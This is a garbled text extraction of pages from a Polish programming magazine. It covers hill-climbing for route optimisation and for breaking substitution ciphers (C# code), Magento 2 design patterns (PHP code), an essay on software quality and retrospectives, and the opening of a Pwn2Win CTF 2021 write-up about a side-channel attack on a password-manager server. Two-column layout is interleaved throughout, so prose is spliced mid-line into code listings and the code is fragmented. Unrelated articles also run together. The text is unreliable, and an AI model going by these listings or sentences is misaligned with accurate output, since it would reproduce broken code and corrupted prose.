$"{localBestLength}");
metoda prób i błędów.
[Link]($"(iteration {iteration})");
I faktycznie – odnalezienie bardzo dobrego rozwiązania dla 30
iterationsWithoutProgress = 0;
bestLength = localBestLength; punktów trasy zajęło zaledwie pół minuty (przyjąłem maksymalnie
bestPath = new(testedPath); 100000 prób oraz 1000 mutacji bez poprawy).
}
else
Listing 6. Efekt działania algorytmu
{
iterationsWithoutProgress++;
Initial distance: 142,29159484567953
}
Better path found with length 55,56119335195268(iteration 5000)
}
Better path found with length 51,523064806852574(iteration 16062)
[Link]($"Finished after " + Better path found with length 49,855284847040004(iteration 39532)
$"{iteration} iterations"); Better path found with length 47,049199882483634(iteration 158795)
[Link]($"Iterations without " + Better path found with length 46,50563363367906(iteration 511389)
$"progress: {iterationsWithoutProgress}"); Better path found with length 45,995322183811886(iteration 527710)
Better path found with length 45,722426757983214(iteration 2499496)
return bestPath; Better path found with length 43,242679690321765(iteration 3877290)
} Finished after 11527950 iterations
Iterations without progress: 1000
Finished solving after [Link].0706796
{ [Link] } <41>
ALGORYTMIKA
SZYFR PODSTAWIENIOWY
Problem komiwojażera to niejedyne zagadnienie, gdzie algorytm
typu hill-climb pozwala osiągnąć spektakularne wyniki. Otóż okazu-
je się, że można z powodzeniem zastosować go również do automa-
tycznego łamania szyfrów podstawieniowych.
Szyfr podstawieniowy jest bardzo prostym sposobem zabezpie-
czania informacji, a polega on na zamianie liter jawnej wiadomości
na inne według określonego klucza. Dla przykładu, jeżeli naszym
tekstem jawnym jest:
Ala ma kota
a b c d e f g h i j k l m n o p q r s t u v w x y z
Rysunek 1. Pierwotna trasa
s h e r l o c k v i p d w y j a z f n b q m u t x g
Sds ws pjbs
PROBLEM
Na jednej ze stron internetowych poświęconych automatyczne-
Rysunek 2. Zoptymalizowana trasa mu łamaniu szyfrów podstawieniowych możemy znaleźć taką oto
wiadomość:
Uruchamianie algorytmu dla większych zbiorów danych wymaga
Listing 7. Zaszyfrowana wiadomość
wprowadzenia w nim pewnych modyfikacji. W proponowanej przeze
mnie implementacji mutacja rozwiązania polega na próbie zamia- Rbo rpktigo vcrb bwucja wj kloj hcjd, km sktpqo, cq rbwr loklgo
vcgg cjqcqr kj skhcja wgkja wjd rpycja rk ltr rbcjaq cj cr.
ny każdych dwóch elementów miejscami, co oczywiście daje nam -- Roppy Lpwrsborr
((n)*(n-1))/2 możliwych mutacji. Oprócz tego w przypadku wykry-
cia poprawy zaczynam mutować rozwiązanie od nowa. Taka metoda Spróbujmy złamać ten szyfr.
pozwala na osiągnięcie lepszych wyników, ale niestety za cenę znacz- Na początku odpowiedzmy sobie na pytanie, czy nie łatwiej jest
nego wydłużenia czasu działania algorytmu. po prostu sprawdzić wszystkie kombinacje klucza? Czasami metoda
Alternatywą mógłby być na przykład losowy dobór elementów do brute-force okazuje się być całkiem niezłym rozwiązaniem.
zamiany. To pozwoliłoby ograniczyć liczbę wykonywanych mutacji Jeżeli spojrzymy na dolną część klucza, stanowi ona tak napraw-
do pewnej arbitralnie przyjętej wartości, jednak stałoby się to kosz- dę permutację alfabetu. Znamy już z poprzedniego problemu wzór
tem dokładności algorytmu: po zakończeniu danej iteracji nie mieli- na liczbę permutacji, więc możemy szybko policzyć, że dla alfabetu
byśmy pewności, że stanowi ona maksimum lokalne. 26-znakowego mamy ich 403 kwadryliardy, zaś dla 32-znakowego
– 263 sekstyliony. Cóż; metoda brute-force niestety odpada. Spróbuj- Zauważmy, że powyższa własność kodów quadgramów pozwala na
my więc znów zastosować hill-climb. błyskawiczne dzielenie źródłowego tekstu na gotowe kody, co oczywi-
ście znacząco przyspiesza obliczanie wartości funkcji dopasowania.
{ [Link] } <43>
ALGORYTMIKA
/* REKLAMA */
{ [Link] } <45>
ALGORYTMIKA
}
WYNIKI
// Revert the key to get the ciphering key again
var result = new Dictionary<char, char>();
foreach (var kvp in bestKey) Po zakończeniu działania algorytm stwierdził, że prawidłowy klucz
result[[Link]] = [Link]; to „wfsdoiabcxhgujklepqrtnmvyz”, co daje wynikową wiadomość jak
// Return the best key found w Listingu 11.
return result;
} Listing 11. Efekt działania algorytmu.
{
out int code)) NA KONIEC
current = ((current << [Link])
+ code) & mask; To zaskakujące, jak skuteczny może okazać się algorytm bazujący
charsProcessed++;
w dużej mierze na losowości – tym bardziej że możemy zastosować
if (charsProcessed >= charsToCompare) go do takich problemów, których efektywnie nie da się rozwiązać
{
result += languageInfo bezpośrednio. Z drugiej strony musimy zawsze brać pod uwagę, że
.SequenceFrequencies[charsToCompare][current] osiągane przez niego wyniki nie zawsze są optymalne – a w skrajnych
.Fitness;
} przypadkach może zdarzyć się, że nie uda nam się znaleźć żadnego
}
rozwiązania. Praktyka pokazuje jednak, że często można z powodze-
currentChar++; niem zastosować go tam, gdzie inne algorytmy nie dają sobie rady.
}
WOJCIECH SURA
wojciechsura@[Link]
Programuje od 25 lat, z czego 10 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane - pisane w C#,
C++, Javie, Delphi, PHP, Javascript i w jeszcze kilku innych językach. Obecnie pracuje w firmie WSCAD, rozwijającej oprogramo-
wanie nowej generacji CAD dla elektrotechników.
AUTOGENERACJA KODU ŹRÓDŁOWEGO jest niezwykle prosta – zatem sztandarowy postulat programistów, że
ma być prosto, został spełniony.
W MAGENTO 2 Magneto 2 wykorzystuje wiele wzorców. Ktoś nawet kiedyś po-
Zostawmy na chwilę wzorce projektowe, ponieważ zanim przejdzie- liczył je wszystkie i wyszło 21. Nie wiem, czy to jakaś magentowa
my do nich w kontekście Magento 2, chciałbym krótko opisać zagad- legenda, ale dociekliwi mogą ją zweryfikować. Wśród ciekawszych
nienie automatycznego generowania kodu źródłowego. Warto znać można znaleźć: Front Controller, Singleton, Registry, Prototype, Ob-
ten mechanizm, ponieważ jest on ściśle powiązany z implementacją ject Pool, Iterator, Service Locator itp. W tym artykule chciałbym
wzorców. Bez niego użycie jakiegokolwiek wzorca w Magento 2 było- się jednak skupić na tych, których implementacja w Magento 2 jest
by trudne i mozolne. szczególnie ciekawa.
DEPENDENCY INJECTION Jak wspomniałem, w Magento 2 używanie tego wzorca jest szcze-
gólnie przyjemne, bo nie musimy pamiętać o inicjowaniu klas przed
Dependency Injection (wstrzykiwanie zależności) to wzorzec wstrzyknięciem. Całą robotę wykonuje za nas Object Manager. Do
projektowy, który zakłada zwolnienie klasy z utworzenia zależno- tej pory pisałem o procesie wstrzykiwania „zwykłych” klas, ale czy
ści, których potrzebuje. Zamiast tego oczekuje, że takie zależności nie byłoby fajnie móc w ten sposób tworzyć fabryk (Factory) albo
(obiekty) zostaną jej dostarczone (zazwyczaj przez konstruktor). klasy proxy? Skoro i tak Object Manager inicjuje dla nas obiekt, to
„Wypchnięcie” odpowiedzialności utworzenia tych obiektów niejako co za różnica, czy to będzie zwykła klasa, fabryka czy proxy? Dobra
na zewnątrz sprawia, że rozluźniają się powiązania między elementa- wiadomość jest taka, że jest mu to zupełnie bez różnicy, dlatego takie
mi systemu. klasy też tworzy. Ale o tym za chwilę…
Dependency Injection to prawdopodobnie najczęściej wyko- Istnieje w Magento 2 pewien typ klas „niewstrzykiwalnych” (na
rzystywany wzorzec projektowy w Magento 2, dlatego warto mu się przykład klasa Product Entity), ale i na nie jest sposób.
przyjrzeć bliżej. Sposób implementacji tego wzorca jest niezwykle
prosty: w sygnaturze konstruktora lub funkcji należy przekazać peł-
FACTORIES
ne ścieżki do klas (FQCN), których obiekty chcemy wstrzyknąć. To
wszystko. Nie musimy inicjować obiektów, żeby je przekazać do kon- Factory (Factory Method) to wytwórczy wzorzec projektowy. Jak
struktora. Tę robotę wykona za nas wspomniany już Object Manager, można się domyślić, coś wytwarza. Jego zadaniem jest tworzenie
który będzie odpowiedzialny za utworzenie obiektów i przekazanie obiektów. Interesującym jest pytanie, dlaczego klasy same nie mogą
ich naszej klasie. inicjować swoich obiektów? Mogą, ale to wbrew pryncypiom SO-
LID – a w szczególności Single Responsibility Principle, który mówi
Listing 1. Mechanizm wstrzykiwania zależności poprzez konstruktor
(w dużym skrócie): niech każdy zajmie się swoją robotą: niech Entity
use Magento\Backend\Model\Menu\Item\Factory; Class przechowuje dane, a Factory zajmie się tworzeniem obiektów.
class Builder Zatem podsumowując: Factory to klasa wyspecjalizowana w tworze-
{
private Factory $itemFactory; niu obiektów.
public function __construct(
Wcześniej wspominałem o tym, że w Magento 2 niektórych klas
Factory $menuItemFactory nie da się wstrzyknąć poprzez Dependency Injection? To znaczy da
)
{ się, ale nie ma to większego sensu. Wyobraźmy sobie wstrzyknięcie
$this->itemFactory = $menuItemFactory; klasy Product. No dobrze, ale jaki produkt? Jak się nazywa? Jakie ma
}
} ID? Poprzez Dependency Injection nie da się przekazać parametrów,
więc nie możemy przekazać – na przykład – ID produktu, którego
Wiemy już, że ten wzorzec jest niezastąpiony w procesie rozluźnia- potrzebujemy. Nie otrzymamy więc obiektu konkretnego produktu,
nia powiązań między klasami. Jeżeli zależy nam na daleko posunię- tylko zupełnie nieprzydatną klasę Product z samymi nullami.
tej modułowości kodu, to ten wzorzec jest dla nas. Jeżeli dodatkowo Rozwiązaniem tego problemu jest wstrzyknięcie fabryki produk-
połączymy go z powszechnym stosowaniem abstrakcji (interfejsy) tów, a następnie wykorzystanie jej do pobrania konkretnego produktu.
zamiast konkretnych implementacji (Dependency Inversion Princi-
Listing 3. Wstrzyknięcie i wykorzystanie Factory
ple), to uzyskamy modułowy kod, który będzie łatwy do rozbudowy,
utrzymania i testowania. Nasz Tech Lead będzie zachwycony. use Magento\Catalog\Model\ProductFactory;
use Magento\Catalog\Model\Product;
class ProductParser
Listing 2. Zastosowanie Dependency Injection
{
private ProductFactory $productFactory;
use Magento\Catalog\Block\Product\Context; public function __construct(
use Magento\Framework\Url\EncoderInterface; ProductFactory $productFactory
use Magento\Customer\Model\Visitor; )
use Magento\Framework\App\Http\Context as HttpContext; {
use Magento\Customer\Helper\Session\CurrentCustomer; $this->productFactory = $productFactory;
public function __construct( }
Context context, public function getProduct(int $id): Product
EncoderInterface $urlEncoder, {
.... return $this->productFactory
Visitor $customerVisitor, ->create()
HttpContext $httpContext, ->load($id);
CurrentCustomer $currentCustomer }
.... }
){
$this->urlEncoder = $urlEncoder;
$this->_itemCollectionFactory
= $itemCollectionFactory; W powyższym przykładzie mamy w sygnaturze konstruktora – opi-
$this->_catalogProductVisibility sywany już – Dependency Injection. Na pierwszy rzut oka wszystko
= $catalogProductVisibility;
$this->_customerVisitor = $customerVisitor; wygląda OK, ale spróbujmy w kodzie źródłowym Magento 2 znaleźć
$this->httpContext = $httpContext; wstrzykiwaną klasę Magento\Catalog\Model\ProductFactory. Od
$this->currentCustomer = $currentCustomer;
parent::__construct(context, $data); razu uprzedzam: nie znajdziemy. Zatem w jaki sposób Object Mana-
}
ger ją wstrzykuje, skoro nie istnieje? Wróćmy do zagadnienia auto-
matycznego generowania kodu…
{ [Link] } <49>
INŻYNIERIA OPROGRAMOWANIA
W trosce o jakość kodu i skuteczne zniechęcenie developerów do Listing 7. Przykładowe użycie metody create w kodzie
generowania obiektów przy pomocy komendy new (co stoi w skrajnej
$category = $this->categoryFactory->create(
sprzeczności z tym, o czym pisałem wcześniej na temat Dependency [
'data' => [
Injection) twórcy Magento 2 stworzyli mechanizm do inicjacji obiek- 'parent_id' => $rootCategoryId,
tów – w tym fabryk właśnie – poprzez Dependency Injection. 'name' => $categoryName,
'position' => 1,
Mimo że brzmi to dość skomplikowanie, recepta na stworzenie 'is_active' => true,
fabryki na przykład dla klasy Magento\Catalog\Model\Category 'available_sort_by' => ['position', 'name'],
'url_key' => $categoryName . '-' . $websiteId
jest w rzeczywistości bardzo prosta: należy w sygnaturze konstrukto- ]
ra podać pełną nazwę klasy, uzupełniając ją o sufix „Factory”. Zatem ]
);
dla klasy Category pełna nazwa klasy to: Magento\Catalog\Model\
$category = $this->categoryRepository
CategoryFactory. ->save($category);
use Magento\Backend\Block\Template\Context;
OBSERVERS (PUBLISH – SUBSCRIBE)
use Magento\Catalog\Model\ResourceModel\Category\Tree;
use Magento\Framework\Registry; Kiedy system się rozrasta, pojawiają się coraz to nowsze wymagania
use Magento\Catalog\Model\CategoryFactory; odnośnie do przepływu danych w tej strukturze. Duże, monolityczne
public function __construct(
Context $context, systemy nie radzą sobie za dobrze z wymianą informacji. Mogą być
Tree $categoryTree,
Registry $registry,
nieefektywne i trudno skalowalne. Na szczęście wymyślono prosty w
CategoryFactory $categoryFactory, swej istocie mechanizm dystrybucji danych w takim systemie: wzo-
array $data = []
) { rzec projektowy Observers (publish – subscribe).
$this->_categoryTree = $categoryTree; Mechanizm działania tego wzorca jest prosty: istnieje Publisher,
$this->_coreRegistry = $registry;
$this->_categoryFactory = $categoryFactory; który w następstwie jakiegoś zdarzenia (eventu) wysyła informację
$this->_withProductCount = true; o nim. Z drugiej strony istnieją Observers (lub Subscribers), którzy
parent::__construct($context, $data);
} „nasłuchują”, czy pojawiły się jakieś nowe zdarzenia. Celowo nie uży-
łem sformułowania „nasłuchują, co opublikuje Publisher”, ponieważ
Dla każdej tak dodanej do sygnatury konstruktora klasy z sufiksem żadna ze stron nie wie nic o sobie. Publishers nie wiedzą, które Obse-
“Factory” zostanie automatycznie wygenerowana odpowiednia klasa. rvery subskrybują informacje, Observery nie wiedzą, kto publikuje.
W naszym przykładzie będzie to CategoryFactory: Za dystrybucję informacji odpowiedzialny jest inny, niezależny pro-
ces. Przy takiej strukturze możliwości skalowania systemu właściwie
Listing 5. Wygenerowana klasa CategoryFactory
są nieograniczone.
namespace Magento\Catalog\Model; W Magento 2 wzorzec Observers znajduje zastosowanie na przy-
use Magento\Framework\ObjectManagerInterface;
class CategoryFactory kład w obsłudze typowych dla sklepu internetowego procesów bizne-
{ sowych: złożenie zamówienia, subskrypcja do newslettera, rejestracja
protected $_objectManager = null;
protected $_instanceName = null; konta itp. Istnieje pokaźna liczba wbudowanych już zdarzeń w Magen-
public function __construct(
ObjectManagerInterface $objectManager,
to 2, do których podpięcie sprowadza się do konfiguracji w pliku XML.
$instanceName = '\\Magento\\Catalog\\Model\\Category'
){ Listing 8. Wywołanie zdarzenia po zapisaniu produktu
$this->_objectManager = $objectManager;
$this->_instanceName = $instanceName; $this->_eventManager->dispatch(
} 'controller_action_catalog_product_save_entity_after',
public function create(array $data = []) ['controller' => $this, 'product' => $product]
{ );
return $this->_objectManager
->create($this->_instanceName, $data);
} Magento 2 wysyła do Event Managera informacje o zdarzeniu oraz
}
dane, które mogą się przydać do obsługi danego zdarzenia. W tym
przypadku mamy do dyspozycji obiekt Controller oraz sam pro-
To wszystko! Jedno słowo dodane do pełnej nazwy klasy robi za dukt. Mając te informacje, możemy w Subscriberze na przykład wy-
nas robotę. Utworzona w fabryce metoda create za pomocą wspo- słać powiadomienie mailowe o nowym produkcie.
mnianego już Object Managera wygeneruje obiekt klasy Magento\ Konfiguracja Observera dla wybranego zdarzenia jest prosta i spro-
Catalog\Model\Category. wadza się do odpowiedniej konfiguracji w pliku XML:
Listing 6. Ciało metody create w utworzonej Factory Listing 9. Konfiguracja Observera w pliku konfiguracyjnym XML
Następnie tworzymy klasę implementującą Magento\Framework\ cji wkracza klasa Proxy, która udostępnia obiekt dopiero wtedy, gdy
Event\ObserverInterface, która obsługuje dane zdarzenie. jego zasoby naprawdę są potrzebne. Nie wykonujemy w ten sposób
Jeżeli potrzebujemy stworzyć własne zdarzenie, to do przesłania niepotrzebnej, zasobożernej inicjalizacji obiektu.
danych do Observerów wykorzystujemy metodę Magento\Frame- Wykorzystanie tego wzorca projektowego w Magento jest równie
work\Event\Manager:dispatch, do której przekazujemy nazwę proste, jak tworzenie Factory, o których pisałem wcześniej. Nie mu-
zdarzenia oraz powiązane z nim dane. Całą resztę wykona za nas Ma- simy pisać nawet jednej linijki kodu, żeby stworzyć klasę Proxy. Ma-
gento 2. gento automatycznie wygeneruje nam odpowiednią klasę, bazując na
wspomnianej już konfiguracji w pliku xml:
{ [Link] } <51>
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
DLA KOGO TWORZYMY najbardziej odpowiedni model architektury, tworzymy siatkę bezpie-
czeństwa za pomocą testów. W samym przygotowywaniu projektu
OPROGRAMOWANIE? i planowaniu również trzymamy się pewnych norm, stosując choć-
Jednym z najważniejszych pytań, które każdy inżynier oprogramo- by Definition of Done. Później każda dostarczana funkcjonalność
wania powinien sobie zadać, jest to, dla kogo to oprogramowanie jest jest sprawdzana przez innych członków zespołu pod kątem czytel-
wytwarzane. Zaskakująco często jest ono jednak pomijane. Skupia- ności kodu i obecności testów. Nawet jeśli zespół stosuje wyłącznie
my się na naszych wewnętrznych procesach, jakości kodu, architek- testy manualne, to najczęściej planuje zadbać o uszczelnienie procesu
turze, procesie CI/CD, często zapominając, że tam gdzieś na końcu CI/CD, tak by regresja mogła być wykrywana automatycznie.
jest użytkownik, dla którego wiele z tych kwestii ma znaczenie dru- Programiści już na początku rozwoju dowiadują się, czym jest
gorzędne. To, czy nasze oprogramowanie jest monolitem, czy grupą SOLID, jakie są najczęściej stosowane wzorce projektowe, jak wyglą-
mikroserwisów, nie ma większego znaczenia, jeśli aplikacja działa da piramida testów i jak działa code review. Wszystkie te elementy
wolno, albo w tajemniczych okolicznościach giną pieniądze. Na- powstały, żeby być drogowskazami i równocześnie trochę bronić nas
wet liczba i jakość testów mało interesuje użytkownika. Oczywiście przed nami samymi. Mnogość różnorodnych testów również pomaga
struktura projektu i wewnętrzne procesy mogą wpływać na jakość nam podnosić jakość, ale też coraz lepiej pisać same testy.
produktu końcowego, ale wcale nie muszą. Na dbałości o jakość kodu i testów nie może się jednak skończyć.
Widziałam wiele razy w projektach, jak zespół tworzył funkcjonal- Jeśli kod wygląda świetnie, ale aplikacja jest trudna w użyciu, to jej
ność w sposób wygodny dla siebie, a nie dla osoby używającej aplikacji. wartość dla klienta jest marna. Jako programiści często zapominamy
Często wynika to z pracy w zamkniętej bańce. Szczególnie w dużych o User Experience (UX). Wiele razy słyszałam, jak niektórzy trywia-
organizacjach zespół rzadko ma bezpośredni kontakt z klientem. Na- lizowali te zagadnienia, a później z ich „stajni” wychodziły produkty,
turalne staje się więc dbanie wyłącznie o własne podwórko, które mie- które bardziej przypominały nakładkę na bazę danych, niż nowocze-
ści się z reguły gdzieś między user stories od Product Ownera a deploy- sną aplikację. A przecież to właśnie wrażenie użytkownika i łatwość
mentem na wskazany serwer. Kiedy nie rozmawiamy z osobami, które obsługi w dużej mierze wpływają na postrzeganie jakości całego
używają naszego oprogramowania, nie prezentujemy im wyników na- projektu.
szej pracy ani nie pytamy o informację zwrotną, ciężko wyobrazić so-
bie, w jaki sposób ktoś używa naszego oprogramowania.
ZAGUBIENI W PROCESACH
Zespoły testerskie często są lepiej przygotowane pod względem
znajomości wymagań biznesowych niż programiści. Jeśli jednak pra- Procesy są nam potrzebne, żeby z małych chaotycznych startupów
cują z dala od użytkowników, opierają się wyłącznie na wizji Product przerodzić się w dojrzałe organizacje. Metodyka Agile przyczyniła
Ownera lub Analityka Biznesowego. Taka wizja jest jedynie inter- się do szukania usprawnień w sposób ewolucyjny. W projektach Wa-
pretacją wymagań. Kolejnym wymiarem interpretacji jest powsta- terfall informacje zwrotne były zdecydowanie wolniej przetwarzane,
jący kod. Oddalamy się od wizji klienta wykładniczo. Nic dziwnego a zmiany wdrażane. Scrum i Kanban pozwalają na wprowadzanie
więc, że wiele projektów, które trafiają na produkcję, nie jest dobrze częstych zmian w zespołowych procesach, ale mogą też skupić całą
przyjmowanych. uwagę na sobie.
Wiele procesów powstało po to, żeby poprawić jakość kodu. Spi-
JAKOŚĆ KODU I TESTÓW sywanie Definition of Done, pull request’y, szereg testów automatycz-
nych – wszystko po to, żeby produkt końcowy był zgodny ze standar-
Każdy zespół wyrabia sobie szereg norm i procesów, żeby dostarczyć dami i oczekiwaniami. Wiadomo, że kiepska jakość kodu przełoży
wysokiej jakości oprogramowanie. Stosujemy wzorce projektowe, się na kiepską jakość produktu. Ale czy świetna jakość kodu zapew-
ni nam świetną jakość projektu? Niekoniecznie. Jest duża szansa, że będziemy spotykać się tylko po to, żeby sobie ponarzekać. A potem
właściwie ułożone procesy, dobrze zaprojektowany i łatwy w utrzy- wszyscy i tak zwątpimy w to, że takie spotkania cokolwiek zmieniają.
maniu kod przyczynią się do wytwarzania dobrych aplikacji. Czasem Inną formą uczenia się na swoich błędach są analizy post portem
jednak skupiamy się na całej otoczce bardziej niż na produkcie koń- lub post incident, stosowane po naprawieniu ważnych błędów na
cowym. Toniemy w spotkaniach, deadline’ach, KPIach, osobistych produkcji i służą temu, by uniknąć podobnych wpadek w przyszło-
planach i przepychamy niedopracowane pomysły przez projektowy ści. Dokładnie przeanalizowany błąd zaprowadzi nas do prawdziwej
pipeline. Łatwo wtedy zgubić perspektywę użytkownika. przyczyny problemu. Idealnym przykładem dobrze przeprowadzonej
analizy jest to, co wydarzyło się po wpadce GitLaba na początku 2017
WYCIĄGANIE WNIOSKÓW roku1. Jeden z inżynierów tego serwisu „przez przypadek“ usunął
produkcyjną bazę danych. Pech (albo raczej brak weryfikacji) chciał,
Bez względu na to, czy projekt idzie nam świetnie, czy coś szwan- że skrypt generujący backupy przestał się wykonywać. Ostatecznie
kuje, warto ciągle go usprawniać. Żeby to zrobić, trzeba raz na jakiś udało się przywrócić stan projektów z kilku godzin przed awarią.
czas się zatrzymać i przyjrzeć się temu, co robimy dobrze, a co można GitLab przez cały proces sprawdzania i naprawiania błędu transmi-
poprawić. To naturalny składnik ewolucji. Czasem przyjmuje to for- tował na żywo pracę swoich inżynierów, którą śledziło prawie 5 tys.
mę oficjalnego spotkania, czasem jest jednym zdaniem rzuconym do osób. Później przeprowadzono szczegółową analizę The 5 Whys i opi-
współpracownika. Ważne, żeby przyglądać się temu, jak robimy to, sano ją na blogu. Transparentność i szybkie reagowanie uratowały
co robimy, i dzielić się informacją zwrotną. renomę firmy.
Z jakiegoś powodu retrospektywa nie cieszy się zbyt dużym en-
tuzjazmem w zespołach developerskich. Często jest utożsamiana
WROGOWIE JAKOŚCI
z grupową terapią lub sesją narzekania. Jeszcze innym często kojarzy
się ze źle prowadzonym Scrumem. To spotkanie ma jednak bardzo Podczas dbania o jakość mamy na swojej drodze wiele przeciwności.
szerokie zastosowanie i może być używane niezależnie od sposobu Musimy mierzyć się z uciekającym czasem, brakach w kompeten-
prowadzenia projektu. Niesie ze sobą wielką moc, ale też wielką od- cjach zespołu czy niedoskonałością narzędzi. Są to dobrze widocz-
powiedzialność. Podczas retrospektywy każda osoba w zespole po- ne przeszkody. Występują jednak dużo trudniejsze do wychwycenia
winna mieć swobodę wypowiedzi i móc poruszać dowolne tematy. sprawy, które mogą mieć ogromny wpływ na jakość produktu, mo-
Zwłaszcza te trudne, na które nie było wcześniej czasu. Najważniejsze
jest jednak to, co dzieje się później. Plan i działanie to nieodłączne
1. Postmortem of database outage of January 31,
elementy procesu naprawczego. W przeciwnym wypadku faktycznie [Link]
/* REKLAMA */
{ [Link] } <53>
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
rale zespołu, a nawet szybkość dostarczania nowych funkcjonalności. rzadko chce źle dla jakości swojego projektu. Jeśli nie chce, żebyśmy
Nazywam ich wrogami jakości i uważam, że są dużo bardziej potężni pisali testy w projekcie, czy w jakiś inny sposób poprawiali jakość,
niż dziurawa biblioteka. może to oznaczać, że nie widzi korzyści. A to najczęściej wynika
Pierwszym wrogiem, który może napsuć sporo krwi w zespole, z tego, że to my nie potrafimy ich przedstawić.
jest tzw. blame game. To taka sytuacja, w której w obliczu błędu na Jeśli jedynym argumentem za refaktoryzacją, pisaniem testów,
produkcji czy innej wpadki zespół szuka winnych zamiast skupić się usprawnianiem procesu CI/CD jest przysłowiowe „bo tak należy”, to
na rozwiązaniach. I nie chodzi tutaj tylko o funkcję blame w IDE, nic dziwnego, że klient nie jest przekonany. Czasem sami nie wiemy,
żeby podejrzeć, kto wprowadził zmiany, a o dużo szerszy koncept. po co to robimy, poza tym, że ktoś tak powiedział na konferencji albo
W kilku projektach spotkałam się z tym, że osoba odpowiedzialna za tak było napisane w książce Wujka Boba. Żeby potwierdzić praw-
błąd wprowadzony na produkcji musi go sama naprawiać, bez żad- dziwą potrzebę, musimy spojrzeć z perspektywy klienta, czy nawet
nego wsparcia zespołu. Na efekty takiego podejścia nie trzeba dłu- użytkownika końcowego. Jak to wpłynie na działanie aplikacji? Co
go czekać. Skoro każda pomyłka skończy się wytykaniem palcami zostanie usprawnione? Czy to ograniczy czas naprawiania błędów
i upokorzeniem, to po co ryzykować? Zespoły, do których wkrada się i dostarczania nowych funkcjonalności? To są prawdziwe problemy,
blame game, szybko przestają szukać innowacji i usprawnień i zaczy- o których myśli nasz klient. To, jak wygląda architektura, ile wy-
nają zajmować się zadaniami „odtąd dotąd”, żeby przypadkiem nie nosi code coverage i ile trwają nasze sprinty, to najczęściej szczegół
popełnić błędu. implementacyjny.
Innym cichym wrogiem jakości jest słaba komunikacja. Może Mówi się, że pisanie testów dla programistów powinno być jak
ona wynikać z braku kompetencji miękkich albo z atmosfery panują- mycie rąk u chirurga i nikt nie powinien tego kwestionować. W pełni
cej w zespole. Efekt synergii nie wystąpi w zespole, w którym nie ma się z tym zgadzam. Jednak żeby klient traktował nas jak godnych
zaufania. Powinniśmy dążyć do tego, żeby każdy w zespole mógł się zaufania partnerów, musimy najpierw to zaufanie zbudować. Jeśli
swobodnie wypowiedzieć, przyznać do błędu bez wyciągania kon- zamiast mówić o tym, dlaczego jakiś proces jest dla nas ważny, po-
sekwencji, przekazać konstruktywną informację zwrotną i poprosić każemy, że można na nas polegać i dostarczamy wysokiej jakości
o pomoc. Jeśli tak nie jest, członkowie zespołu będą zachowywać się oprogramowanie zgodnie z planem, to nikt się nie będzie się wtrą-
w sposób defensywny i nigdy nie rozwiną skrzydeł. Mimo tego, iż to cał w nasze procesy. Aby to się dokonało, musimy być transparentni,
właśnie zła komunikacja potrafi najskuteczniej zabić projekt, ścieżki zorganizowani i traktować klienta z szacunkiem. Rzadko mówi się
miękkie na konferencjach oraz warsztaty takich umiejętności nie cie- o tym, że micromanagement ma swoją przyczynę nie tylko w nadgor-
szą się szczególnym zainteresowaniem. Wydaje się nam, że albo się liwości jednej strony, ale też w braku samodzielności drugiej.
„to” ma, albo nie. Tymczasem komunikacja podobnie jak programo-
wanie jest umiejętnością, którą należy rozwijać.
BYCIE DOBRYM OGRODNIKIEM
Jeśli nie wiadomo, co jest nie tak w projekcie, ale jednak coś nie
gra, najczęściej jest to wina trzeciego wroga jakości. Jest nim wybuja- Do zapewniania jakości w projekcie niezbędne jest podejście do-
łe ego. Zdrowe poczucie własnego „ja” i świadomość własnej wartości brego ogrodnika. Utrzymywanie porządku, konsekwentne uspraw-
to dobry objaw. Czasem idzie to jednak za daleko. Ludzie, którym nianie narzędzi i niepozostawianie niczego przypadkowi to jedne ze
bardziej zależy na własnych korzyściach niż końcowym produkcie, sposobów dbania o swoje podwórko. Ogrodnik planuje, zdaje sobie
mogą nie przyznawać się do winy, nie prosić o pomoc i nie dzielić się sprawę, że wszystko wymaga czasu i że należy się przygotowywać na
informacją zwrotną. Objawy mogą być podobne również w sytuacji, liczne przeciwności losu. Nie daje się zaskoczyć, nie narzeka na po-
kiedy ego jest bardzo kruche. Wtedy boimy się tego, co pomyślą o nas przedników, tylko robi, co w jego mocy, żeby wykorzystać maksymal-
inni i co się stanie, kiedy popełnimy błąd. Wielokrotnie podczas re- nie potencjał swojego podwórka.
trospektywy stosowaliśmy metodę The 5 Whys do wykrywania przy- Dobry ogrodnik nie ogranicza się jednak wyłącznie do tego, co obec-
czyn problemów. Jeśli dochodziliśmy do ściany, to niejednokrotnie nie robi. Spogląda poza swoje podwórko i szuka inspiracji w cudzych
prawdziwa przyczyna tkwiła właśnie w ego. rozwiązaniach. Z ciekawością przygląda się zmianom i usprawnia
swoje procesy. Uczy się też na cudzych błędach. Pamięta, co się przy-
ALEKSANDRA KUNYSZ
ola@[Link]
Autorka tworzy oprogramowanie od kilkunastu lat. Ma doświadczenie w programowaniu full stack, testowaniu, zbieraniu wy-
magań i prowadzeniu szkoleń. Pracowała w korporacjach, startupach i pro bono w różnych branżach i krajach. Najbardziej lubi
pisać kod, który ma znaczenie, i rozwiązywać prawdziwe problemy. Od 2019 roku prowadzi Szkołę Testów i zwiększa świado-
mość w temacie jakości wśród programistów. Kiedy jest offline, jeździ na jednośladach, spaceruje z psem albo ćwiczy jogę.
CTF Pwn2Win CTF 2021 able to extract the password yet. After running cpuid, maybe you’re able
to speculate what the secret is. Obs: There is no need to escalate your
Waga [Link] 83.41 ([Link]
privilege. The binary server should be running on the machine (check
Liczba drużyn (z niezerową it with ps).
720
liczbą punktów)
Liczba zadań 27 Wersję „Baby” można było rozwiązać prostym atakiem czasowym.
Wersja „True” była natomiast kolejnym na Pwn2Win CTF (po ze-
1. DiceGang (Stany Zjednoczone) – 6819 pkt.
szłorocznym zadaniu „stolen_backdoor” [1]) problemem związanym
Podium 2. uuunderflow (Japonia, Korea Południowa) – 5808 pkt.
z atakami na procesory. W obu zadaniach mogliśmy wykonać dowol-
3. justCatTheFish (Polska) – 4385 pkt.
ny kod na maszynie organizatorów, na którym działał proces-serwer
administratora (użytkownika root) zawierający flagi, które chcieli-
O ZADANIACH śmy wykraść. Nasz kod uruchamiany był w innym procesie, który
nie miał żadnych uprawnień. Mogliśmy natomiast z naszego kodu
Zarówno „Baby”, jak i „True write-only password manager” były za- wysyłać dane do procesu serwera, co musiało wystarczyć do tego, aby
daniami opartymi o ten sam program serwera. Ich oryginalne opisy wykraść flagi.
prezentujemy poniżej: W trakcie rozgrywki dość szybko skończyliśmy zadanie w wersji
